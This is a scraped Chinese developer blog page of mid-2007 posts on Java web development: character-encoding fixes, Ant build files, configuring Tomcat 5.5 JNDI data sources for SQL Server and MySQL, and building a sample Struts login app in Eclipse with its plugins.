    2.进入命令行,进入1.txt所在的目录,敲入以下命令:native2ascii.exe 1.txt 2.txt 回车。这样就生成了另外一个文件2.txt。
    3.2.txt的内容如下:\u6d4b\u8bd5\u5b57\u7b26\u4e32
    4.然后用上面的编码,在gwt中使用,就可以了.

      9、xmlHttp得到的网页怎么是乱码?

      (1)在服务器端使用WebRequest而不是xmlHttp
      (2) 将

    StreamReader sr = new StreamReader(stream);

      对于简体中文改成:

    StreamReader sr = new StreamReader(stream , Encoding.Default );

      对于utf-8改成:

    StreamReader sr = new StreamReader(stream , Encoding.UTF8 );

      当然,Encoding枚举还有很多其他的成员,对于不同的编码content-type可以有选择的应用

      (3)后来我发现无论是content-type是gb2312还是utf-8,用

    StreamReader sr = new StreamReader(stream , Encoding.Default );

      都可以返回正常的汉字,所以统一的改成Encoding.Default




    --------------------------------------------------------------------------------

    最后,在服务器端从一个url获得网页的源代码的代码如下:



    /// <summary>
    /// post一个指定的url,获得网页的源代码(用WebRequest实现)
    /// </summary>
    /// <param name="url"></param>
    /// <returns>
    /// 如果请求失败,返回null
    /// 如果请求成功,返回网页的源代码
    /// </returns>
    public static string GetContentFromUrl2( string url )
    {
    //变量定义
    string respstr;

    WebRequest myWebRequest=WebRequest.Create(url);
    // myWebRequest.PreAuthenticate=true;
    // NetworkCredential networkCredential=new NetworkCredential( username , password , domain );
    // myWebRequest.Credentials=networkCredential;

    // Assign the response object of 'WebRequest' to a 'WebResponse' variable.
    WebResponse myWebResponse=myWebRequest.GetResponse();
    System.IO.Stream stream = myWebResponse.GetResponseStream();
    StreamReader sr = new StreamReader(stream , Encoding.Default );
    //以字符串形式读取数据流
    respstr = sr.ReadToEnd();
    sr.Close();

    return respstr;

    }

    来源:soddabao-BlogJava

    posted @ 2007-08-17 02:00 jadmin 阅读(41) | 评论 (0)编辑 收藏

      前言

      ant是java开发者工具箱的重要一环,junit,xdoclet等都与它紧密关联,程序员可能习惯了IDE提供的自动构建,甚至部署的功能,从而忽略了ant本身,其实,主流的IDE通常是内置ant任务来完成这些工作的,熟悉ant内在的机理,可以阅读或简单修改build.xml无疑可以帮助你更灵活地集成、管理应用项目,如果需要学习maven这种开源项目管理解决方案,也是要以理解ant为基础的哟。另外,使用ant的过程实际上对构建进行了文档化,它是无关于IDE的,想象一下,你的同事中可能三分之一在用JbuilderX,三分之一用eclipse,还有一些是别的。

      本人使用eclipse3.0.1,以前的构建和发布工作都由myeclipse插件作了,趁周末实践了一下手动构建,记此备忘。

      实践

      准备工作:这是我的个人习惯,把所有公用的类库jar置于一个固定目录,分好类,不要丢在一个文件夹下,如jakarta-commons、hibernate、spring、struts等,这些是源码构建时需要用到的,在部署时可能有一些不用再打进去了,比如servlet.jar。如果你们有自己的framework,也一并放在这里。然后,打开eclipse,进入Windows->Preferences->Java->User Libraries,增加一个自己的库,比如说mylib,把刚才那些公共的jar全部添入,这样有个好处,在eclipse项目中,不用再看到烦人的长长的jar列表了,比较整洁。


      下来正式进行:

      1.新建一个Java Project,此时就不要再选你的j2ee插件内置的一些选项了,至简即可。

      2.在root下建几个文件夹,我们在网上下载的开源项目中经常可以看到这些,比如:

      src - 源码
      classes - 编译
      web - jsp等
      lib - 库,这里可以简单地把mylib下的东东copy过来,便于将来发布源码。
      dlist - 输出的jar或war

      当然,我们要建一个build.xml,eclipse中会出现一个蚂蚁的小图标,一般这个文件建立后,下一个项目简单的copy过去,稍加改动就可以了。

      3.打开项目的属性页,在Java Build Path的库选项中,加入我们自定义的公共库mylib.至于Builders方式就不用改了,使用默认的Java Builer即可,我只是项目部署时使用ant,平常的排错工作就交给IDE吧。

      4.重中之重,写你的build.xml,网上文章很海,我这里就不再?嗦了,基本上就分那几个任务:

      4.1 先要声明一些路径变量,如

      <property name="war.dir" value="dlist" />

      也可以将其写至properties文件中,在这里引用;

      4.2 声明编译的类路径,如下:

      <path id="master-classpath">
      <fileset dir="${lib.root}/struts">
      <include name="struts-menu-2.3.jar" />
      <include name="struts.jar" />
      </fileset>
      <fileset dir="${lib.root}/jakarta-commons">
      <include name="commons-*.jar" />
      </fileset>
      <fileset dir="${lib.root}/ibatis2.0.9">
      <include name="ibatis-*.jar" />
      </fileset>
      <fileset dir="${lib.root}/jdbcdriver">
      <include name="jtds-0.9-rc2.jar" />
      </fileset>s
      ......
      </path>

      4.3 清空输出目录,如web,dlist等。

      4.4 编译构建:

      <target name="build" description="Compile main source tree java files into class files, generate jar files">

      <mkdir dir="${build.dir}" />

      <javac destdir="${build.dir}" source="1.3" target="1.3" debug="true" deprecation="false" optimize="false" failonerror="true">
      <src path="${src.dir}" />
      <classpath refid="master-classpath" />
      </javac>

      <copy todir="${build.dir}" preservelastmodified="true">
      <fileset dir="${src.dir}">
      <include name="**/*.xml" />
      <include name="**/*.properties" />
      </fileset>
      </copy>
      <!-- ============================================= -->
      <!-- 据测试,资源文件不能被打到jar文件中,其余均可 -->
      <!-- ============================================= -->
      <copy todir="${webclasses.dir}/conf" preservelastmodified="true">
      <fileset dir="${src.dir}/conf">
      <include name="springResources*.properties" />
      </fileset>
      </copy>

      <mkdir dir="${weblib.dir}" />

      <jar jarfile="${weblib.dir}/${name}.jar" compress="true">
      <fileset dir="${build.dir}">
      <include name="**" />
      </fileset>
      </jar>

      <copy todir="${weblib.dir}" preservelastmodified="true">

      <fileset dir="${lib.root}">
      <include name="log4j-1.2.8.jar" />
      </fileset>
      <fileset dir="${lib.root}/struts">
      <include name="struts-menu-2.3.jar" />
      <include name="struts.jar" />
      </fileset>
      <fileset dir="${lib.root}/jakarta-commons">
      <include name="commons-*.jar" />
      </fileset>
      <fileset dir="${lib.root}/spring-1.1.3">
      <include name="spring.jar" />
      <include name="aopalliance.jar" />
      </fileset>
      ......

      </copy>

      </target>

      <!-- ============================================= -->
      <!-- Compile main Java sources and copy libraries -->
      <!-- ============================================= -->
      <target name="warfile" description="Build the web application archive">

      <mkdir dir="${dist.dir}" />
      <war warfile="${dist.dir}/${name}.war" basedir="${war.dir}" webxml="${war.dir}/WEB-INF/web.xml">
      <include name="*" />
      <include name="WEB-INF/*.*" />
      <exclude name="WEB-INF/web.xml" />
      <include name="WEB-INF/classes/*.*" />
      <include name="WEB-INF/lib/**" />
      <exclude name="**/.*" />
      </war>

      </target>


      4.5 打成war

      <target name="warfile" description="Build the web application archive">

      <mkdir dir="${dist.dir}" />
      <war warfile="${dist.dir}/${name}.war" basedir="${war.dir}" webxml="${war.dir}/WEB-INF/web.xml">
      <include name="*" />
      <include name="WEB-INF/*.*" />
      <exclude name="WEB-INF/web.xml" />
      <include name="WEB-INF/classes/*.*" />
      <include name="WEB-INF/lib/**" />
      <exclude name="**/.*" />
      </war>

      </target>

      4.6 把几个任务串起来,弄一个default target

      <target name="all">
      <antcall target="clean" />
      <antcall target="build" />
      <antcall target="warfile" />
      </target>

      打完收功。在实践中发现,一些配置文件,如struts-config.xml ibatis和spring的xml都可以打进jar文件,spring资源文件好象不行,得单独copy至WEB-INFclasses下,另外,你的web文件夹下,事先得放好web.xml,以及一些tld文件哟!

    posted @ 2007-08-15 01:33 jadmin 阅读(64) | 评论 (0)编辑 收藏
    1。安装tomcat5.5的admin package tomcat5.5版本中的admin没有默认安装,先下载admin package jakarta-tomcat-5.5.9-admin.zip或者jakarta-tomcat-5.5.9-admin.tar.gz(这两个package应该是一样的,下载地址http://mirrors.uol.com.br/pub/apache/jakarta/tomcat-5/v5.5.9/bin/)。
      
      将其中的/conf/Catalina/localhost/admin.xml复制到%JAVA_HOME%\conf\Catalina\localhost\目录下,将server/webapps/admin文件夹复制到%JAVA_HOME%\server\webapps目录下。另外的RELEASE-NOTES,NOTICE,LICENSE直接复制到%JAVA_HOME%目录下即可,不知道是不是一定得要的,自己可以试试,呵呵。这样就完成了admin package的安装。
      
      2。配置admin 上面完成了admin package的安装,现在可以进入http://localhost:8080/admin。首先进入一个登陆窗口,用户名默认是admin,密码为空,当然你可以在安装tomcat的时候修改。进入以后,找到Data Sources,单击,在右边的data Source Actions中选择Create New Data Source.下面是要填写的信息。
      
      (示例) 如果你安装的是ms的jdbc;
      
      JNDI Name:jdbc/sqlserver Data Source URL:jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=sqlserver JDBC Driver Class: com.microsoft.jdbc.sqlserver.SQLServerDriver 驱动名称 User Name:sa//数据库登陆用户名和密码 Password:sa Max.Active Connections:4 Max.Idle Connections:2 Max.Wait for Connection:5000 Validation Query: 如果你安装的是jtds; JNDI Name:jdbc/sqlserver Data Source URL:jdbc:jtds:sqlserver://localhost:1433/sqlserver 其中sqlserver是你的数据库名称 JDBC Driver Class: net.sourceforge.jtds.jdbc.Driver 驱动名称 User Name:sa//数据库登陆用户名和密码 Password:sa Max.Active Connections:4 Max.Idle Connections:2 Max.Wait for Connection:5000 Validation Query:
    字串5

      
      3。文件配置通过文件夹导航到%TOMCAT_HOME%\conf,打开web.xml,在的前面添加以下内容: DB Connection jdbc/sqlserver javax.sql.DataSource Container
      
      注意res-ref-name填写的内容要与在上文提到的JNDI Name名称一致。 配置完成后重新启动tomcat,在%JAVA_HOME%\\webapps\ROOT\META-INF下找到对应的配置文件Context.xml,检查其内容。
      
      下面是参考信息。
      
      WEB-INF/web.xml WEB-INF/web.xml 如果是旧版本,那么通过文件夹导航到%TOMCAT_HOME%\conf\Catalina\localhost下,找到你的web应用对应的.xml文件,如xmdc.xml,并在此文件之前添入一行代码:
      
      重新启动tomcat,应该没什么问题了。
    posted @ 2007-08-15 01:24 jadmin 阅读(39) | 评论 (0)编辑 收藏
      1、安装Tomcat
      参考Tomcat for window 的安装向导,基本直接安装即可,注意:安装时会提示输入管理用户名和密码,这是以后会用到的用户名和密码,切记。
      
      2、安装MySql
      默认安装即可。
      
      3、使用Tomcat的Web管理应用配置数据源
      启动Tomcat服务器,打开浏览器,输入http://localhost:8080/admin/(其中localhost可能是一台机器的IP或是服务器名称),进入管理界面的登陆页面,这时候请输入原来安装时要求输入的用户名和密码,登陆到管理界面,
      
      选择Resources-Data sources进入配置数据源界面,选择Data Source Actions ->选择Create New Data Source,进入配置详细信息界面,内容如下:
      
      JNDI Name:  jdbc/mysql
      Data Source URL: jdbc:mysql://192.168.0.16/SUBRDB
      JDBC Driver Class:  org.gjt.mm.mysql.Driver
      User Name:  root
      Password:   ********
      Max. Active Connections:  4

    字串9


      Max. Idle Connections:  2
      Max. Wait for Connection:  500
      Validation Query:
      
      要求输入的JNDI Name等信息,其中除了JDBC DriverClass之外,其他的可以根据你的需要填写。比如Data Source URL的内容可能是:jdbc:mysql:// IP或是名称/DataBaseName,其中DataBaseName是你的数据库名称,IP是你的数据库的所在的服务器的IP或是名称。最后点击Save->Commit Change.这样你的数据源的基本资料配置一半了。
      
      4、web.xml和%TOMCAT_HOME%\conf\Catalina\localhost下对应你的引用的配置文件修改
      通过文件夹导航到%TOMCAT_HOME%\conf,打开web.xml,在</web-app>的前面添加以下内容:
      
      <resource-ref>
      
      <description>DB Connection</description>
      
      <res-ref-name>jdbc/mysql</res-ref-name>
      
      <res-type>javax.sql.DataSource</res-type>
      
      <res-auth>Container</res-auth>
      
      </resource-ref>
      
      注意res-ref-name填写的内容要与在上文提到的JNDI Name名称一致。

    字串8


      
      通过文件夹导航到%TOMCAT_HOME%\conf\Catalina\localhost下,找到你的web应用对应的.xml文件,如  ROOT.xml,并在此文件的下添入代码:
      
      <ResourceLink name="jdbc/mysql" global="jdbc/mysql" type="javax.sql.DataSourcer"/>
      
      到这里,配置工作就基本完成了。
      
      5、其他注意事项
      别忘了JDBC驱动程序mysql-connector-java-3.0.9-stable-bin.jar一定要放置到Tomcat的对应目录,你的JDBC驱动可能版比笔者高,不过只要能与所使用的MySql对应就可以了,因为我发现版本太低的JDBC驱动不能支持4.0.*版本的MySQL数据库,建议放置在%TOMCAT_HOME%\common\lib和应用的WEB-INF\lib下。两者有什么不同呢?其实一看就明白了,common\li是所有的应用都可以使用的库文件位置。
      
      重启你的Tomcat服务。
      
      6、编写测试代码
      在应用的目录下建立一个Test.jsp文件,代码如下:
      
      <!doctype html public "-//w3c//dtd html 4.0 transitional//en"
      
      "http://www.w3.org/TR/REC-html40/strict.dtd">
    字串9

      
      <%@ page import="java.sql.*"%>
      
      <%@ page import="javax.sql.*"%>
      
      <%@ page import="javax.naming.*"%>
      
      <%@ page session="false" %>
      
      <html>
      
      <head>
      
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
      
      <title></title>
      
      <%
      
      out.print("我的测试开始");
      
      DataSource ds = null;
      
      try{
      
      InitialContext ctx=new InitialContext();
      
      ds=(DataSource)ctx.lookup("java:comp/env/jdbc/mysql");
      
      Connection conn = ds.getConnection();
      
      Statement stmt = conn.createStatement();
      
      //提示:users必须是数据库已有的表,
      
      //这里的数据库前文提及的Data Source URL配置里包含的数据库。

    字串9


      
      String strSql = " select * from users";
      
      ResultSet rs = stmt.executeQuery(strSql);
      
      while(rs.next()){
      
      out.print(rs.getString(1));
      
      }
      
      out.print("我的测试结束");
      
      }
      
      catch(Exception ex){
      
      out.print(“出现例外,信息是:”+ex.getMessage());
      
      ex.printStackTrace();
      
      }
      
      %>
      
      </head>
      
      <body>
      
      </body>
      
      </html>
      
      运行结果:
      
      我的测试开始12345678我的测试结束,因为我的rs.getString(1) 在数据库就是存放12345678
      
      7、总结
      配置过程及其简单明了,这些配置免除了以往开发人员自己动手写数据源连接池的痛苦,这也是对开发过程的有力支持。
    posted @ 2007-08-15 01:22 jadmin 阅读(46) | 评论 (0)编辑 收藏
    终于解决了困扰多天的连接池的问题,写下这编文章与大家一起分享。我是在tomcat5.5.9下配置的,tomcat5.5.X和以前的版本有一些差别,所以配置上也有差别。我就说一下在tomcat5.5.9配置的基本步骤:(确定你以安装好tomcat5.5.9、sql2000)
      
      1、把数据库JDBC驱动拷贝到%TOMCAT_HOME%/common/lib和%TOMCAT_HOME%/webapps/yourweb/WEB-INF/lib下(我的web文件夹名字叫quickstart)
      

      这一步大家都知道,不然tomcat无法与数据库连接。
      
      2、修改%TOMCAT_HOME%/conf/server.xml文件,在 <GlobalNamingResources></GlobalNamingResources>之间
      

      添加以下内容:
      <Resource
      name="jdbc/quickstart"
      type="javax.sql.DataSource"
      password="123456"
      driverClassName="com.microsoft.jdbc.sqlserver.SQLServerDriver"
      maxIdle="2"
      maxWait="5000"
      username="sa"
      url="jdbc:microsoft:sqlserver://localhost;DatabaseName=quickstart"   maxActive="4"/> 字串8
      
      以上内容根据大家的具体情况进行相应修改,比如:把name="jdbc/quickstart"中的quickstart改成和你web文件夹名称一样,把password="123456"中的“123456”改成你数据库的密码。
      
      3、在%TOMCAT_HOME%/conf/Catalina/localhost下新建一个与你web文件夹同名的xml文件(我的是quickstart.xml)
      

      这一步非常重要,如果没有这步就会出错,会出现org.apache.tomcat.dbcp.dbcp.SQLNestedException: Cannot create JDBC driver of class '' for connect URL 'null'
      
      这样的错误,在文件中加入第2步的内容,如下:
      
      <?xml version="1.0" encoding="UTF-8"?><Context>
      <Resource
      name="jdbc/quickstart"
      type="javax.sql.DataSource"
      password="123456"
      driverClassName="com.microsoft.jdbc.sqlserver.SQLServerDriver"
      maxIdle="2"
      maxWait="5000"
      username="sa"
      url="jdbc:microsoft:sqlserver://localhost;DatabaseName=quickstart" 字串8
      maxActive="4"/> </Context>
      
      根据个人具体情况进行相应修改。
      
      4、修改%TOMCAT_HOME%/webapps/yourweb/WEB-INF下的web.xml文件,在<web-app></web-app>之间添加以下内容
      

      <resource-ref>
      <description>sqlserverDB Connection</description>
      <res-ref-name>jdbc/quickstart</res-ref-name>
      <res-type>javax.sql.DataSource</res-type>
      <res-auth>Container</res-auth>
      </resource-ref>
      
      把<res-ref-name>jdbc/quickstart</res-ref-name>中的quickstart改成你的web文件夹名称。
      
      5、测试,在quickstart下新建一个index.jsp文件
      

      <%@ page contentType="text/html; charset=utf-8" %><%@ page import="javax.naming.*" %><%@ page import="javax.sql.*" %><%@ page import="java.sql.*" %><html><head><title>JDBC Test</title></head><body><%

    字串8


      Connection conn=null;
      Statement stmt=null;
      ResultSet rs=null;
      ResultSetMetaData md=null;
      try
      {
      Context initCtx=new InitialContext();
      DataSource ds=(DataSource)initCtx.lookup("java:comp/env/jdbc/quickstart");
      if(ds!=null)
      {
      out.println("已经获得DataSource");
      out.println(ds.toString());
      conn=ds.getConnection();
      stmt=conn.createStatement();
      out.println("aa");
      rs=stmt.executeQuery("select * from cat");
      md=rs.getMetaData();
      out.println("<table border=1>");
      out.println("<tr>");
      for(int i=0;i<md.getColumnCount();i++)
      {
      out.println("<td>"+md.getColumnName(i+1)+"</td>");
      }
      while(rs.next())
      {
      out.println("<tr>");
      out.println("<td>"+rs.getString(1)+"</td>");
    字串3

      out.println("<td>"+rs.getString(2)+"</td>");
      out.println("<td>"+rs.getString(3)+"</td>");
      out.println("<td>"+rs.getString(4)+"</td>");
      out.println("</tr>");
      }
      out.println("</table>");
      conn.close();
      }
      }
      catch(Exception e)
      {
      out.println(e.toString());
      System.out.println(e.toString());
      }%></body></html>
      
      运行tomcat服务器,在浏览器中输入http://localhost:8080/quickstart/index.jsp看看成功了没有。
    posted @ 2007-08-15 01:21 jadmin 阅读(46) | 评论 (0)编辑 收藏
    一、准备安装程序
    1、JDK 5.0 安装程序下载
    下载地址: 字串5


    https://jsecom15b.sun.com/ECom/EComActionServlet
    /DownloadPage:~:com.sun.
    sunit.sdlc.content.DownloadPageInfo;
    jsessionid=502E87C71D77E3BC297C08B35
    DAC9AD4;jsessionid=502E87C71D77E3BC297C08B35DAC9AD4

    字串3

    同意协议后,可以下载jdk-1_5_0_05-windows-i586-p.exe。
    2、tomcat 5.5.9下载
    下载地址:http://jakarta.apache.org/site/downloads/downloads_tomcat-5.cgi
    最新版本是5.5.11alpha版,由于是测试版,所以,可能存在不确定的因素,所以,我们这里下载5.5.9 exe。
    3、Sysdeo Eclipse Tomcat Launcher plugin 3.1beta版下载
    下载地址:http://www.sysdeo.com/eclipse/tomcatplugin
    这里下载tomcatPluginV31beta.zip。
    4、eclipse 3.1安装程序下载
    下载地址:http://www.eclipse.org/downloads/index.php
    这里需要对应版本的JDT,如果下载的是Eclipse SDK版本就自带了,如果没有,同一个下载页面的靠后部分有JDT的下载链接,下载后将对应的文件分别拷贝进eclipse安装目录下的对应的文件夹即可。
    这里我们下载eclipse-SDK-3.1-win32.zip 。
    5、GEF 3.1 安装程序下载
    下载地址:
    http://download.eclipse.org/tools/gef/downloads/drops/R-3.1-200507071758/ 字串3
    index.php
    这里我们下载GEF-ALL-3.1.zip。
    6、Eclipse HTML Editor 1.6.7 安装程序下载
    下载地址:https://sourceforge.jp/projects/amateras/files/?release_id=16537
    #16537
    这里我们下载:tk.eclipse.plugin.htmleditor_1.6.7.zip。
    7、StrutsIDE 1.1.7 安装程序下载
    下载地址:https://sourceforge.jp/projects/amateras/files/?release_id=16537#16537
    这里我们下载:tk.eclipse.plugin.struts_1.1.7.zip。
    好了,到此我们准备好了所有的安装包。
    二、安装JDK并配置开发环境
    这里只需要双击JDK安装包的exe文件,按照提示安装即可。安装完成后,将JDK安装目录下的bin文件夹设置进环境变量的path路径中去。同时,将JRE的lib目录下的rt.jar包设置进环境变量的classpath中去。
    这里我们把JDK安装到了默认安装路径C:\Program Files\Java\jdk1.5.0_02下。这里就不多说了,网上可以搜索到很多JDK安装配置的文章。
    三、安装tomcat服务器
    只需要双击tomcat安装包的exe文件,按照提示安装即可,这里我们的安装目录为D:\Tomcat5.5,管理员密码设置为12345678。 字串2
    四、安装Eclipse开发工具
    只需要把eclipse-SDK-3.1-win32.zip安装包解压,然后把里面的eclipse文件夹剪切至想放置的目录即可,这里我们把eclipse安装到了D:\eclipse目录下。
    在安装目录下双击eclipse.exe文件,即可启动eclipse。中间会询问默认的工作目录,你可以按其默认设定的,也可以自己设定工作目录,这里设置为E:\workspace目录。请选中Use this as the default and do not ask again选项,这样以后启动就不会再询问了。
    到此eclipse安装成功。
    五、安装tomcatPlugin插件
    安装很简单,解压我们已经下载的安装包tomcatPluginV31beta.zip,将解压后的com.sysdeo.eclipse.tomcat_3.1.0.beta文件夹拷贝至D:\eclipse\plugins目录下即可。我们关掉已经打开的eclipse,重新打开,OK,现在我们会发现工具栏上多了几个雄猫的图标,就是tomcat的启动、停止和重启动的按钮。打开eclipse的window/preferences,我们在左边的树种也可以找到tomcat一项。
    点击tomcat项,在右边我们选择version 5.x版本,然后设定tomcat home为D:\Tomcat5.5,Contexts directory为D:\Tomcat5.5\conf\Catalina\localhost。到此tomcat plugin设置完毕。
    六、安装GEF插件
    同样,将GEF-ALL-3.1.zip解压缩,然后拷贝解压后的eclipse目录下的三个文件夹到D:\eclipse目录下,覆盖所有的现有文件夹。

    字串9


    好了,到此GEF安装完成。
    八、创建测试工程
    如果已经完成了上面所有步骤,现在可以重新启动eclipse,使新安装的插件生效,开始正式开发了。
    1、使用Sysdeo Tomcat Plugin创建tomcat工程:
    File->new->others,打开新建向导对话框,在树中找到java->tomcat projects,选中,点击next按钮。在projects name中输入textweb,选中Use default,点击next。在下一个对话页面,保持默认设置,点击finished。这时,我们在eclipse的package explorer中会看到新建的工程testweb,创建完成。
    2、加入struts框架
    File->new->others,打开新建向导对话框,找到Amateras->Struts->Add Struts Support,选中点击next按钮。
    保持默认设置,点击Finish按钮。这时,在eclipse的package explorer中会看到增加了很多struts的库文件,在WEB-INF下也增加了很多struts的配置文件。到此我们已经在项目加入了Struts框架。
    3、编辑struts-config.xml文件
    在WEB-INF文件夹下可以找到,右键点击菜单中选择open with->Amateras XML Editer可以直接对xml文本进行编辑,选择open with->struts-config.xml editor可以在图形模式下对文件进行编辑。 字串2
    在右边的outline中点击相应的struts对象可以添加新的对象进去。这里我们只是说明这里有一个比较方便的struts-config.xml文件的编辑器,后面我们将开发一个简单的小程序。
    4、新建一个页面index.jsp
    File->new->others,打开新建向导对话框,找到Amateras->JSP File,点击next按钮,FileName改为index.jsp,点击Finish。然后打开index.jsp文件进行编辑,内容如下:
    <%@page pageEncoding="GBK"
    contentType="text/html;
    charset=gb2312" %>
    <html>
    <head>
    <meta http-equiv="Content-Type"
    content="text/html;
    charset=gb2312"/>
    <title></title>
    </head>
    <body>
    <form name="form1" method="post"
    action="/testweb/logincheck.do">
    <table width="300" border="0"
    cellspacing="0" cellpadding="0">
    <tr align="center">
    <td colspan="2">用户登录信息</td>

    字串3


    </tr>
    <tr>
    <td>用户名</td>
    <td>
    <input name="username"
    type="text" id="username"
    size="12">
    user    
    </td>
    </tr>
    <tr>
    <td>用户密码</td>
    <td>
    <input name="password"
    type="text" id="password"
    size="12">
    123456    
    </td>
    </tr>
    <tr align="center">
    <td colspan="2"><input
    type="submit" name="Submit"
    value="提交"></td>
    </tr>
    </table>
    </form>
    </body>
    </html> 字串9

    5、创建form数据对象
    打开File->new->package对话框,name中输入com.is.form,点击Finish按钮。在右边的Package Explorer树中找到刚才创建的包,右键点击com.is.form包,菜单中的new->others,找到Amateras->struts->Struts Action Form,点击next,在对话框中name栏输入LoginForm,点击Finish按钮。
    编辑LoginForm类的内容为:
    package com.is.form;
    import org.apache.struts.action.ActionForm;
    public class LoginForm extends ActionForm
    {
    private static final long
    serialVersionUID = 1L;
    private String username = "";
    private String password = "";
    /**
    * @return Returns the password.
    */
    public String getPassword()
    {
    return password;
    }

    /**

    * @param password The password to set.
    */
    public void setPassword(String password)
    {
    this.password = password;
    }
    /**
    * @return Returns the username.
    */
    public String getUsername()
    {

    字串6


    return username;
    }
    /**
    * @param username The username to set.
    */
    public void setUsername(String username)
    {
    this.username = username;
    }
    } 字串5

    注意,这里的两个属性分别对应我们jsp中form中的两个输入控件的名称,为什么这样做,可以去看struts的帮助文档了,我就不详细说了,还有form类再写完属性后,get和set方法可以通过eclipse的source中的命令来自动生成,在右键菜单中,也不详细说了,去网上查资料吧,关于eclipse的使用有很多的文档。
    七、安装Eclipse HTML Editor插件
    解压缩tk.eclipse.plugin.htmleditor_1.6.7.zip包,然后将plugins目录拷贝至D:\eclipse目录下覆盖原文件夹即可。到此Eclipse HTML Editor插件安装完成。
    八、安装StrutsIDE插件
    解压缩tk.eclipse.plugin.struts_1.1.7.zip包,然后将plugins目录拷贝至D:\eclipse目录下覆盖原文件夹即可。
    好了,到此StrutsIDE插件安装完成。
    6、创建action对象
    同创建form的过程相同,我们只是新建一个com.is.action包,同样的过程,打开新建向导,只是选择Struts Action,创建LoginAction.java类,均选默认值。我们编辑LoginAction为如下内容:
    package com.is.action;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import org.apache.struts.action.Action; 字串1
    import org.apache.struts.action.ActionForm;
    import org.apache.struts.action.ActionForward;
    import org.apache.struts.action.ActionMapping;

    import com.is.form.LoginForm;

    public class LoginAction extends Action
    {
    private static final long serialVersionUID = 1L;

    public ActionForward execute
    (ActionMapping mapping,
    ActionForm form,
    HttpServletRequest request,
    HttpServletResponse response)
    throws Exception {

    // this line is here for when the
    input page is upload-utf8.jsp,

    // it sets the correct character
    encoding for the response

    String encoding = request.getCharacterEncoding();

    if ((encoding != null) &&
    (encoding.equalsIgnoreCase("GB2312")))
    {

    response.setContentType
    ("text/html; charset=GB2312");

    } else {

    response.setContentType

    字串8

    ("text/html; charset=GBK");

    }

    try {

    if (form instanceof LoginForm)
    {

    LoginForm theForm = (LoginForm) form;

    if(theForm.getUsername().equals("user") &&

    theForm.getPassword().equals("123456"))
    {

    return new ActionForward("/welcome.do?type=true");

    }


    else {                           

    return new ActionForward("/welcome.do?type=false");

    }

    }
    } catch (Exception e)
    {

    }

    // this shouldn't happen in this example

    return null;
                            
    字串6

                             }
    } 字串8

    注意这里是直接用ActionForward转向的,你也可以按照struts中提供的空白例程struts-blank.war中的做法进行转向,可以比较一下会有收获的。
    7、创建登录成功页面
    同创建index.jsp页面相同,我们创建welcome.jsp页面,均使用默认设置。并编辑其内容如下:
    <%@page pageEncoding="GBK"
    contentType="text/html;
    charset=GBK" %>
    <html>
    <head>
    <meta http-equiv="Content-Type"
    content="text/html;
    charset=GBK"/>
    <title></title>
    </head>
    <body>
    <%
    String type = request.getParameter("type");
    if(type!=null&&type.equals("true")){
    out.print("欢迎您的光临!");

    }
    else{
    out.print("对不起,你输入的用户名或者密码错误!");
    }
    %>
    </body>
    </html>

    字串5

    8、增加Struts-config.xml中的配置
    添加formbean的配置,在和标签之间加入:
    <form-bean
    name="loginForm"
    type="com.is.form.LoginForm"/>

    字串3

    添加jsp文件的映射,在和标签之间加入:
    <action
    path="/index"
    forward="/index.jsp"/>
    <action
    path="/welcome"
    forward="/welcome.jsp"/>

    字串3

    添加action文件的映射,在和标签之间加入:
    path="/logincheck"
    type="com.is.action.LoginAction"
    name="loginForm"
    scope="request"
    validate="true"/>

    字串1

    修改后的struts-config.xml大致如下形式:
    <?xml version="1.0"?>
    <!DOCTYPE struts-config PUBLIC "-
    //Apache Software Foundation
    //DTD Struts Configuration 1.2//EN"
    "http://struts.apache.org/dtds
    /struts-config_1_2.dtd">
    <struts-config>
    <data-sources>
    </data-sources>
    <form-beans>
    <form-bean
    name="loginForm"
    type="com.is.form.LoginForm"/>
    </form-beans>
    <global-exceptions>
    </global-exceptions>
    <global-forwards>
    </global-forwards>
    <action-mappings>
    <action
    path="/index"
    forward="/index.jsp"/>
    <action
    path="/welcome"
    forward="/welcome.jsp"/>    
    <action
    path="/logincheck"
    type="com.is.action.LoginAction"

    字串4

    name="loginForm"
    scope="request"
    validate="true"/>
    </action-mappings>
    <controller processorClass=
    "org.apache.struts.tiles.TilesRequestProcessor"/>
    <message-resources parameter="MessageResources"/>
    <plug-in className=
    "org.apache.struts.tiles.TilesPlugin">
    <set-property property="definitions-config"
    value="/WEB-INF/tiles-defs.xml"/>
    <set-property property="moduleAware" value="true"/>
    </plug-in>
    <plug-in className=
    "org.apache.struts.validator.ValidatorPlugIn">
    <set-property property="pathnames"
    value="/WEB-INF/validator-rules.xml,
    /WEB-INF/validation.xml"/>
    </plug-in>
    </struts-config> 字串6

    到此我们可以运行测试程序了。
    9、运行测试程序
    右键点击testweb工程根目录,点击菜单中的Tomcate project->update context definition,将工程部署进tomcat,成功后会提示操作成功。
    点击菜单栏中的雄猫图标启动tomcat,然后在IE地址栏中输入http://localhost:8080/testweb/index.do,我们会看到index.jsp的页面内容

    posted @ 2007-08-15 01:07 jadmin 阅读(60) | 评论 (0)编辑 收藏

    Attribute元素

    对于tag标签的每个属性,你必须定义它是否必须的,它的值是否可以用诸如<%= …%>的表达式来获得,
    以及它的类型(可选),如果不指定它的类型,那就默认为是java.lang.String类型。如果rtexprvalue
    元素被定义为true或yes,那么在type元素中就定义了attribute的返回类型。

    <attribute>

    <name>attr1</name>

    <required>true|false|yes|no</required>

    <rtexprvalue>true|false|yes|no</rtexprvalue>

    <type>attribute的返回类型(只用当rtexprvalue为真是才有效)</type>

    </attribute>

    如果tag的某个属性不是必须的,那tag处理类会自动提供一个缺省值。

    例如,在logic:present这个tag标签中定义了一个属性叫parameter,但它不是必须的,而且它可以
    被诸如<%= …%>的表达式来赋值。

    <tag>

    <name>present</name>

    <tag-class>org.apache.struts.taglib.logic.PresentTag</tag-class>

    <body-content>JSP</body-content>

    <attribute>

    <name>parameter</name>

    <required>false</required>

    <rtexprvalue>true</rtexprvalue>

    </attribute>

    </tag>


    属性元素的校验


    有关于tag标签的有效值可以从tag库的说明文档中获得,当JSP页面被编译时,jsp引擎会强制性地
    参照TLD中定义的规则进行检查。

    还有一个方法也可以进行属性元素的校验,就是先继承类TagExtraInfo,然后调用它的isValid方法。
    这个类同时也起到提供tag中定义的脚本变量信息的作用。

    IsValid方法通过TagData对象来传递属性信息,它包括着tag的所有的属性名-值的信息。
